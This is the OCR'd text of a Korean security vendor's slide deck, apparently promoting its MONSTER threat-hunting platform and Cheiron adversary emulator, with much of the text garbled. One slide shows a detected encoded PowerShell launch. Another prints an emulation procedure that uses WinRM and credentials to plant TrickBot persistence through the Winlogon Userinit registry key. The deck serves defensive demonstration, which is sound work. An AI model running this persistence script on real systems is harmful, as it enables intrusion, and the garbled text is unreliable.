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MONSTER Managed Threat Hunting Platform s SOMMA
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Threat Context — Microsoft word

OZ I }X| &O[H [}A0] HtE ZZH ()| ebA

L L O™

IHIE oM Y (Threat Context)©

ddE X002 s A Ygd= 20, =H6t1], 539! 1t

7| systeminfo.exe

20D

M vk B Tactics 7 Techniques 9 - me FOX Reported at 2023-06~21 17:69:36.000 +08:00
z
-
cmd.exe powershell.exe
Fo0B2i:0 FOpQWi:o0
vehost.e Khostw. explorer.exe WINWORDEXE o > 3
2048 B 21 [ 59 i 450 2 8 [ 38 i 436 :
L 89 > go » M ;@ ] [7] emd.exe [7] cscriptexe [7] powershell.exe [7] rundii32.exe [7] rundii32exe
0P o0 FOBO0E: S A1 60 0P % B
> [] >

powershell.exe

| OUTLOOK.EXE

72 55 [ 51 i 201

[T] OUTLOOK EXE

% 69 [ 54 i 844
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Threat Context — Microsoft word = © soMMa T e

Threat Context £ Z2A&0t=

cmd.exe reg.exe
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Matrix Info X
N Resource - Privilege N Credential Lateral Command and
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Threat Context - Microsoft word ‘

cmd.exe [T]reg.exe

FOB@OE: O FODOHE:

[1]emd.exe

powershell.exe
FOD 20

FODW7HE: 0

[T]emd.exe [7] systeminfo.exe

Fopo:o0 FOPOE:0

|emd.exe

1| WINWORD.EXE

1| cseript.exe [T] powershell.exe rundli32.exe [T] rundli32.exe
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WINWORD
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[7] powershell.exe

28 SATHIO et &Ml 2

powershell.exe cmd.exe [T] powershell.exe 7| OUTLOOK.EXE
0 O0EH0H:0 20pQ 5 2 69 [ 64 . 844

2opn:

@ Close
Process Info
Tactics Lateral _Movement Tech ID
Created at 2023-06-21 17.6911.683 +08:00 Process timestamp 2023-06-2117.68:20.729 +09:.00
Host name FOXTROT Image path c:\windows\Systemn32\ WindowsPowerShell \v1.0\ powershelLexe

powershell.exe -ExecutionPalicy Bypass -E JABIAHMAZQByAG4AYQBtAGUAIAASAC AAIgBz AGBADQBIAGEAXABIAGMACABVACIACgAKAHAAYQBzAHMACWEVAHIAZ AAGADOAIA A AHIASQB] AGsAZgBoACEAQAAJADEAMgAZ ACIACG AKAHMAZ QBJAHMAJABYACAAPQAGAE4AZOB3ACOATWEIAGOAZ QB AHQAIAALAF QAeQBWAGUATgBhAGDAZQAgAFMABQBz AHQAZ QBIACAAUWBIAGMAJQBY AGKAJABSAC A LWBIAGMA
EMD line BOACAASWAgACQACWBIAGMACWEOAHIALGBBAHAACABIAGAAZABDAGGAYQBYACGA. ABIACKAIABSAADAJABJAHIAZQBRACAAPQAGAGAAZQBIACOADWBIAGOAZ QBAHQAIAALAHQABQBWAGUADGERAGDAZ QAGAFMASQBZAHQAZQBLACAATOBhAGAAYQBNAGUADQBEIAGAAdAAUAEEAdQBOAGBADOEhAHQAQQBVAG4ALGBQAFMAQWEY AGUAZABIAGAAdABpAGEADAAGAC DAYOBYAGCAJQBLAGUADgBDAGWAQQBZAL
AbQBwWAHUAAABIAHIATGBhAGDAZQAQAGUAYWBOAGBAIAALAEMACGBIAGOAZQBUAHQAQQBRAGWAIAAKAGMACGBIAGOACGE.JAGAAdgBVAGS AZQATAEMADWBLAG DAYQBUAGQAIAATAFMAZQBZAHMAQOBVAGAAI AAKAFMAZQBZ AHMAGQBVAG SAIAALAFMAYWBY AGKACABDAEIADABvAGMAQWAQAHS AIABPAHCACGAGACIAQABDAHQACAAGACBALWAXA DKAMgAUADEANGAAACAAMOQAUADEANGADACBAIQBAAHQAGAE
PAGMAXABCAHUABABOAGGAZQBIAGUALGBIAHgAZQAIADS AIAB JAGAAdGBYAGSAZQATAFCADQBPAEDAZQBOAGGADWEKACAALOBDAGWAYQBZAHMAIABXAGKADgAZADIAXWBQAHIADWB]AGUACWBZACAALQBOAGEADQBIACAAQWEBYAGUAYQBOAGUAIAATAEEACGBNAHUADOBIAGAAdABMAGKACWBOAC AAQWABAFWAXABVAHMAZOQBYAHMAXABCAF AADQBIAGWAQQBJAFWAXABIAHgADA BOAGUABQEIACAAZQBAAGUAL

Severity Lavel high IP Adress 182168116
MDE bcfle61144d6d6326650134823198b8 SHAZ bde7bc24biaf5c 3dazebbedecteci090099defagIbaz0f2{3fc70ddBe4785c4
MITRE Info (3)
Tactic Tech D Tech Description Detection Notes Tech URL L
Remote Services: Windows Remote Management Adversaries uses winrm to do Lateral Movernent. https:/ /attack mitre.org/techniques/TI021/006 H
Tent Remote Services: Windows Remote Management Adversaries uses winrm to do Lateral Movernent. https:/ /attack mitre.org/techniques/TI021/006 H
Lateral _Moverent Remote Services: Windows Remote Management Adversaries uses winrm to do Lateral Moverment. https:/ [attack mitre.org/techniques/TI021/006 K
Network Info (3)
Network Type Source Ip Source Port Destination Ip
tcp 192168115 63736 182168114
tep 192168115 63733 182168114
63734 182168114

tcp 192168115
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Monster As A Platform (Uppwall EPP with Uppsala security Inc.) ¥ SOMMA
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MonSter AS A Platform (Custom Endpoint Threat Detection and Response)
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Monster As A Plathrm (AnyOffice, Management for Remote work) s SOMMA a
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expectations

\, SUMMA
FOHEM et & EHAE(Penetration Test)2t= =2, XJIEEEH 10129 A MIHE MH{IE ASH0/M
SATHO] M=KTactics), J1=(Techniques), M (Procedures)tl CHeH Ol 6H
Object Jt Ot HYE (LHEDETH Ot UM -HIHM -5 A=)

Format-Preserving Encryption

UTM
Network Traffic Analysis Network IPS
User and Entity Behavior Analytics Mobile Data Protection
for Workstations
Vulnerability Assessment
SIEM
Threat

Application Contro!

Intelligence Enterprise Firewalls (Next-Generation Firewalls)
Platforms Network Penetration Testing Tools
High-Assurance Hypervisors,
2 L L]
Securty inthe Switch e eneration IPS Organization
Interoperable
Network Security Stor Encrvoti
Policy Management age Encryp Database Encryption
PPos Dt Web Application Firewalls

TLS Decryption Database Audit and Protection

Piamxmryptn Network Access Control
Software-Defined Network Sandboxing
Secure Web Gateways
Microsegmentation (Software-Defined Segmentation)

lOperational Technology Security
Enterprise Key Management

File Analysis

Hardware-
Based Security
Firewall as a Service

As of July 2017 @ Adversarial Emulation
Inflated Trough of Slope o Plateau of
Trigger o iC enment Productivit

@ Penetration Testing
Gartner’s Hype Cycle for Threat-Facing Technologies, 2017



MCHEIRON <

o

-3

Cheiron - Adversary Emulator

Agent

List

Procedures

List

Result

Scenario

[[] mc2 [[] TH-winsrv2019 [T TH-wint02 [C] TH-winto1 [] TEST

NEW REMOVE

REFRESH

.z 3 T
T1110.002

KISA_WS_STEP_6.C

[Linux] [ATTACKER}:= 2! 53t Kerberos Ticke...

[J sHow

X
T1003.002

KISA_WS_STEP_8.B

[Windows10 Professional] [TH-Win10-2]= ...

[0 sHow

KISA_WS_STEP_6.B

[Windows10 Professional] [TH-Win10-2} = k...

[0 sHow

RUN i Search

T1204.002
KISA_WS_STEP_1.A

[Windows10 Professional] [TH-Win10-1]= ...

Ry

T1003.003
KISA_WS_STEP_8.A

[Windows10 Professional] [TH-Win10-2]= ..

‘\\‘ v

L8\
T1105

KISA_WS_STEP_6.A

[Windows10 Professional] [TH-Win10-2]=C...

[0 sHow

Procedures/List

Agent List

Procedure List

] @ RunOptions

T1490

KISA_WS_STEP_9.D

[Windows10 Professional] [TH-WinSRV2019...

[J sHow

T1069.002

KISA_WS_STEP_7.C

[Windows10 Professional Server] [TH-Win10...

(] sHow

T1033

KISA_WS_STEP_S.1

[Windows10 Professional] [TH-Win10-2]= C...

[0 sHow

T1489

KISA_WS_STEP_9.C

[Windows10 Professional] [TH-Win

.004

T1547

KISA_WS_STEP_7.B

[Windows10 Professional Server] [

KISA_WS_STEP_5.H

[Windows10 Professional] [TH-Win

C

[T1547.004]
KISA_WS_STEP_7.B

Description

[Windows10 Professional Server]

[TH-Win10-2]= WinRMA 4 & Sl CFE 2 E & 2 TrickBot 214 2 E S [TH-WinSRV2019]2] 2IX| A E2|0fl 525101 X|&4 S FASLCL

trickbot

Platform

windows

InputArgument0.Name
HOST_NAME

InputArgument0. Value
TH-WinSRV2019

InputArgument1.Name
TRICKBOT_PATH

InputArgument 1. Value
Senv:Public\uxtheme.exe

InputArgument2 Name
VICTIM_PASSWORD

InputArgument2.Value
kisa123!@#

InputArgument3.Name
VICTIM_USERNAME

InputArgument3. Value
KISAD\Administrator

Executors.Name

powershell

Executors.Command

Susername = "#{VICTIM_USERNAME}"

Spassword = "#{VICTIM_PASSWORD}"

$secstr = New-Object -TypeName System.Security. SecureString

$password.ToCharArray() | FerEach-Object { $secstr.AppendChar($_) }

Scred = new-object -typename System.Management.Automation.PSCredential -argumentlist Susername, $secstr

Invoke-Command -ComputerName #{HOST_NAME} -Credential $cred -ScriptBlock { Set-ltemProperty "HKCU:\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\" “userinit" "Userinit.exe, #{TRICKBOT_PATH}" -Force }

Executors.CleanUpCommand

Executor Elevation Required

True False
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TID(Threat Informed Defense)?

"Threat-informed
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and technology to

protect against, S 220| 2£8H?

detect, and mitigate ° oo 60k sk=}?

cyber-attacks.
It's a community-

based approach to a
worldwide challenge.”

M2k (Tactics)
M= (Techniques)

H Xt (Procedures)
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TID with Monster & Cheiron O soMMa
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TID with Monster & Cheiron T somma
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TID with Monster & Cheiron

.|_7=|

llEEiIOI*"

==X
oo™

O H

CHEIRON

Y N\ T Iy

= XIEHE  AZEe v

E
ot
Jgor
AIn
b
gl
Jot
e

‘

U
=
0%
et
HL




o
) SOMMA

ANJTCEE2EL



Monster VS.

\, SOMMA

Microsoft CrowdStrike VMWARE AN TI=d) XL A Ored
VR Defender for Business Falcon Enterprise Carbé)BFE; lack Monster SIEEMGOLD Cenian EDR AhnLab EDR
=t Ol= Ol= Ol= feles ot= ot= ot=
H0IB= $3(yr) $1599 $4503yrs) TBD ANIABIF 202 A
OIEIPHA OIS (Enterpriseonly) =M (Enterpriseonly) v N/A
MHOHOIH® AL S %
Automated MR QIRP IHMASE EGH XI5
RetroHurting A A N xO= SMF ISl H A N N
IS ESeS
Threat Hunting s40/ o4 540104 AL A0l  Threat Hunting API E Solt &
. SREMOHOIHEENS
v v l=T:> — O =o -
Incident Response N/A SOl IR (IS T N/A N/A N/A
MITRE ATTECK v v v N/A N/A v
Evaluation
HZC=Mo d=t=0s
HZ B AA J|I=2
HEZ 8=k HICH HICH HICH 0I0] S Akt JHIA S MIDDLE HICH HICH
ettt AA = EHY
=ULEHOIEE SREH0IEE =-ZdidlA SR HIOIBRIE ScREH0IEIE 20014 2014
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=3 SEHITHN LHR= Windows  XHIIEPPRISRIRE J|HHY EPP HIZ0 KHHI EPPRIZLIREJIHHY EPP.EDRIIS 8IS 7 &= NAC(Network D12 AntiVirus HIZ0H
Defender Antivirus 2t S22 golHENES 2 Endpoint 24¢47| S| SIEl ZaH=E = At Access Control) il Endpoint A HIOIEIS
CIHt o e E3HE Zet HHOIMETXII IS Endpoint HAHIOIHE  SeHASEXI IS Sgt
=y EstRET IS EEt
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Future plan T somma

eXtended Detection & Response
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Achievements
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Achievements

AMOIHAE HSH 222 AMIISSE =SHY L, VISES UZE L ASLILL

Y ZAYAH Tech-Fi Net

SOMMA: 7}E L I =2| T Ohy O] el eewns =
FUMS : KISA IEESFHAH AA20 - 0012
Kim Yiseul <Viseul Kimi@gartnercom> @ 18 122 (@) 25 1200 >R LA Tech-fi N2 R S2K 2180 9490 7158 I MO HT UKD 3
R KSM 5|52 334 »RHEH w:u XPAH U ARV RES B0 WHNY VIS XIS ALY AN 3
e mAne e B SANY R U SFY VUPE UL AU SLWK X1 UK 3673 YAIR
SOMMA: 7HE | ¥iC|=2|F oty 0| = 2ERE = M FASAL 2o} 2R 20180100
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The Best Threat Hunters Ever! SOMMA
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